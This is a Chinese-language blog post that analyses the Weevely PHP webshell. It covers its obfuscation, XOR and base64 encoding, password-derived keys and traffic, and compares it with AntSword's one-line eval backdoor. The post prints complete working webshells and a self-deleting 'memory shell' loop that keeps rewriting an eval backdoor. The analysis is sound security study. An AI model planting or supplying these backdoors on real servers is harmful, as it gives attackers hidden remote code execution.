Weevely_wish

关于一个木马工具的简单研究

0

通过weevely生成了一个php后门文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
$u='){$o8i.=$t{$i}^$k{$j8i};}8i}re8itu8irn $o;}if (@preg8i_m8iatch("/$k8ih8i(.+)$8ik8if8i/",@file_get_contents("p8ihp://8ii8';
$v='input"),$m)8i==1) 8i{@o8ib_start()8i;@eva8il8i(@gzuncompre8iss(@x(@8ibas8ie64_de8icode8i($8im[1]8i),8i$k))8i);$o=@ob_ge';
$h='t_content8is();@ob8i_end_cle8ia8in();$r=8i@ba8ise8i64_encode(@x(@gzco8impr8ies8is(8i$o),$k));prin8it(8i"$p$kh$r$kf");}';
$d=str_replace('D','','cDrDeDaDDte_fuDnction');
$k='$k)8i{$c=strlen($k)8i;$8il=st8irlen($t);$8i8i8io="";for($i=08i;$i<$l;8i){fo8ir($8ij=0;($j<$c&&$i8i<$l);8i$j+8i+,$i+8i+';
$Y='$k="88i8ic319f28";8i$kh8i="d81d1527a8i942"8i;$kf="8e98ia5c2195f5"8i;8i$p="ZnC8it8iZbYs8iDzbbdvRw";8ifunction 8ix($t,8i';
$A=str_replace('8i','',$Y.$k.$u.$v.$h);
$b=$d('',$A);$b();
?>

不算难理解,分解一下:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
//第一部分:
$u='){$o8i.=$t{$i}^$k{$j8i};}8i}re8itu8irn $o;}if (@preg8i_m8iatch("/$k8ih8i(.+)$8ik8if8i/",@file_get_contents("p8ihp://8ii8';
$v='input"),$m)8i==1) 8i{@o8ib_start()8i;@eva8il8i(@gzuncompre8iss(@x(@8ibas8ie64_de8icode8i($8im[1]8i),8i$k))8i);$o=@ob_ge';
$h='t_content8is();@ob8i_end_cle8ia8in();$r=8i@ba8ise8i64_encode(@x(@gzco8impr8ies8is(8i$o),$k));prin8it(8i"$p$kh$r$kf");}';
$k='$k)8i{$c=strlen($k)8i;$8il=st8irlen($t);$8i8i8io="";for($i=08i;$i<$l;8i){fo8ir($8ij=0;($j<$c&&$i8i<$l);8i$j+8i+,$i+8i+';
$Y='$k="88i8ic319f28";8i$kh8i="d81d1527a8i942"8i;$kf="8e98ia5c2195f5"8i;8i$p="ZnC8it8iZbYs8iDzbbdvRw";8ifunction 8ix($t,8i';
$A=str_replace('8i','',$Y.$k.$u.$v.$h);

//第二部分
$d=str_replace('D','','cDrDeDaDDte_fuDnction');
$b=$d('',$A);
$b();
?>


第一部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$k="8c319f28";
$kh="d81d1527a942";
$kf="8e9a5c2195f5";
$p="ZnCtZbYsDzbbdvRw";

function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";

    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }

    return $o;
}

if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
	@ob_start();
	@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
	$o=@ob_get_contents();//获取当前缓冲区的内容,并返回缓冲区的数据
	@ob_end_clean();//停止输出缓冲并清空缓冲区的内容,同时关闭输出缓冲区
	$r=@base64_encode(@x(@gzcompress($o),$k));
	print("$p$kh$r$kf");}

if

"/$kh(.+)$kf/"

  • ()标记一个子表达式的开始和结束位置。
  • .匹配除换行符之外的任何单个字符
  • +匹配前面的子表达式0次或者多次
    写一个例子来理解:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$k = 'cr';
$s = 'ke';

$a = 'cream soda you know i like it like that ';

$c = preg_match("/$k(.+)$s/", $a, $cc);

var_dump($cc);


/*结果:
array(2) {
  [0] =>
  string(34) "cream soda you know i like it like"
  [1] =>
  string(30) "eam soda you know i like it li"
}
*/

所以整个正则表达式的意思其实是:匹配$k开头的$s结尾的,中间的任意的字符串

这其中需要注意的是:$cc 存储了两个元素:
• 第一个元素$cc[0],用来存储按照表达式匹配到的完整字符串,也就是***cream soda you know i like it like__,可以看到,和原字符串对比,少了结尾的_that_
• 第二个元素$cc[1],用来存储捕获组匹配到的内容,也就是
eam soda you know i like it li,少了开头的_cr⇒$k*,结尾的_ke⇒$s


@file_get_contents

一个php函数,加上了@隐藏报错 将 整个文件读入一个字符串

php://input是一个只读流, 从请求正文中读取原始数据

合起来意思就是:从请求中读取内容。


所以对于第一句条件 @preg_match**(**"/$kh(.+)$kf/",@file_get_contents**(**"php://input"**)**,$m**)**==1**)**

  • 如果在post请求中匹配到 $kh(.+)$kf ,就存入 $m 中

  • 然后ob_start()

    ob_start() 是 PHP 中的一个函数,用于开启输出缓冲。

    • 在 PHP 中,当输出到浏览器或者其他输出目标时,通常是立即发送给客户端的。但有时候,我们可能希望先将输出内容暂时存储起来,等待进一步处理或者在某个时机再发送给客户端,这时就可以使用输出缓冲。

    ob_start() 函数的作用就是开启输出缓冲。

    • 一旦调用了 ob_start(),PHP 将会把后续所有的输出都缓冲起来,而不会立即发送到浏览器。

    • 当需要将缓冲内容发送到浏览器时,可以使用 ob_end_flush() 或者 ob_flush() 函数来完成。

    • 使用输出缓冲的一个常见场景是,当需要在 PHP 脚本中生成一些输出内容,但又希望在输出之前对其进行处理,比如对输出内容进行压缩、修改或者日志记录等操作时。


function x

AKA异或操作函数

异或:主要用来判断两个值是否不同

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

原始版本
0 ^ 0 = 0 
0 ^ 1 = 1 
1 ^ 0 = 1 
1 ^ 1 = 0 


字符版本
a ^ b ^ c ^ a ^ b 
= a ^ a ^ b ^ b ^ c 
= 0 ^ 0 ^ c 
= c

文本串行的每个字符可以通过与给定的密钥进行 按位异或运算来加密。 如果要解密,只需要将加密后的结果与密钥再次 进行按位异或运算即可。

举例:

  • 第一次异或结果:string(10) “一串乱码(bushi)”
  • 第二次异或结果:string(10) “wild wagei”

剩下的

  1. @gzuncompress: 用于解压缩经过gzip压缩的字符串。
  2. @base64_decode: 用于对经过base64编码的数据进行解码。
  3. @base64_encode:对数据进行base64编码。

第二部分

1
2
3
$d=str_replace('D','','cDrDeDaDDte_fuDnction');//替换之后得到create_function
$b=$d('',$A);
$b();

create_function 是 PHP 中的一个函数,用于动态创建一个匿名函数(lambda 函数)。

通过 **create_function** 函数,可以根据传入的参数和代码字符串创建一个匿名函数,并返回一个唯一的函数名。

查了一下官方手册,写了一个demo进行理解

1
2
3
4
5
$newfunc = create_function('', 'echo "Hello, World!";');
$newfunc(); // 输出 Hello, World!

$func = create_function('$arg1, $arg2', '');
$result = $func(1, 2); // 这个调用不会执行任何操作,因为函数体为空

所以第一部分就是:

  1. 替换之后得到create_function
  2. $A作为函数体进行执行
  3. 结果存入$b
  4. $b执行

Weevelt code

weevley code catalog

  • bd:提供后门代码生成模板
  • core:核心生成与连接处理代码
  • modules:可运行指令的处理模板
  • utills:没看
  • weevely.py:index文件

通读是不可能的,所以使用报错找到调用链——修改了生成的后门文件进行连接操作 …………

error

所以就在图上了。

下面直接写重点函数


加密obfpost.py

__init__(self, url, password)

obfpost1

将得到的密码参数进行md5,十六进制、小写处理后,得到一个32位的”乱码“

  • 前8位作为shared_key
  • 中间12位作为header
  • 最后12位作为trailer

所以按照这个思路写一个demo

1
2
3
4
5
6
password = 'smart'
passwordhash = haslib.md5(password).hexdigest().lower()

shared_key = passwordhash[:8].encode('utf-8')
header = passwordhash[8:20].encode('utf-8')
trailer = passwordhash[20:32].encode('utf-8')

得到的结果是

1
2
3
4
5
passwordhash: 8c319f28d81d1527a9428e9a5c2195f5

shared_key: 8c319f28
header: d81d1527a942
trailer: 8e9a5c2195f5

回到最开始的生成的后门文件中,

1
2
3
4
$k="8c319f28";
$kh="d81d1527a942";
$kf="8e9a5c2195f5";
$p="ZnCtZbYsDzbbdvRw";//后面会解释是什么

可以发现前三个都对应上了。


send()

也不算难理解

不过最后一句是关键,也是整个payload的拆解关键

提一下第一张图片中的两句

由字符集string.printable (包含ASCII 可打印 字符的全部字符,即包括数字、大小写字母、 标点符号和空格)中的随机字符组成的长度 为 16 的字符串

简单说就是,PREPENDAPPEND的值都是随机的,长度均为16

于是按照第二张图的思路:


这里的原始payload是@eval(phpinfo())
经过xor、obfuscated、wrappped之后,得到了最后会发送出去的payload。



关于如何发送payload的

opener = urllib.request.build_opener(*additional_handlers):发送payload并获取响应内容

获取到的响应又通过

1
2
3
4
5
response = zlib.decompress(
	utils.string.sxor(
		base64.b64decode(matched.group(1)),
		self.shared_key)
)

进行解码。

和生成的后门文件一个逻辑。 所以那边也是,接收到payload后,解码并执行,也就是

1
2
3
$d=str_replace('D','','cDrDeDaDDte_fuDnction');
$b=$d('',$A);
$b();

这部分的意义。


流量分析

攻击者发给受害者

一个编写好的目录遍历命令:

s-a

其解码后内容是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
chdir('xxx\xx');@error_reporting(0);
$p=".";
if(@is_dir($p)){
	$d=@opendir($p);
	$a=arrray();
	if($d){
		while(($f=@readdir($d))) $a[]=$f;
		sort($a);
		print(join(PHP_EOL,$a));	
	}
}

ps:这个是file_ls功能的代码,不是自己写的。

受害者发给攻击者

于是这是返回过来的信息

s-a

解码之后得到:

s-a



番外1-与antisword的对比(easiest version)

后门文件

antisword的常用后门就是一句话木马系列

1
<?php @eval($_REQUEST['cmd']); ?>

与weeevely的相比:

  1. 简洁程度不是一倍两倍
  2. 被抓到的容易程度也不是一倍两倍。

流量分析

这是抓取的流量中,antisword发送的代码的部分内容

  • 流量分析得到antisword发送的 post内容——只是简单的进行了 URL编码
  • 可以看出来是一个对目录进行遍 历以及获取,最后将数据返回的 代码
  • 将进行处理的代码在post中传输, 而weevely是将其写入后门文件

    返回的流量分析:

截断符号进行获取数据流, 十六进制转换二进制

比起weevely的异或、base64、 gzip,简洁很多


解码后:



总结

Weevely: 完全始祖版本^^


**Antisword**: - 后门文件更友好,同时也很容易被识别 (最基础版本) - 因为后门中没有特别多涉及处理代码, 所以被发现,也顶多知道攻击者通过这 个后门文件得到了什么,而不是得到其 逆向处理逻辑。

番外2-内存马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE___);
while(1){
	$content = '<?php @eval($_POST["123"]) ?>';
	file_put_contents("11.php", $content);
	usleep(10000);
}
?>

一个典型的PHP内存马

与前面的木马对比,最大的 特点和优势就是:

  1. 存在于内 存中,不需要文件落地。
  2. 这 也意味着很难被查杀。

参考

Weevelywebshelll协议分析文档
weevely code
蚁剑流量分析

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy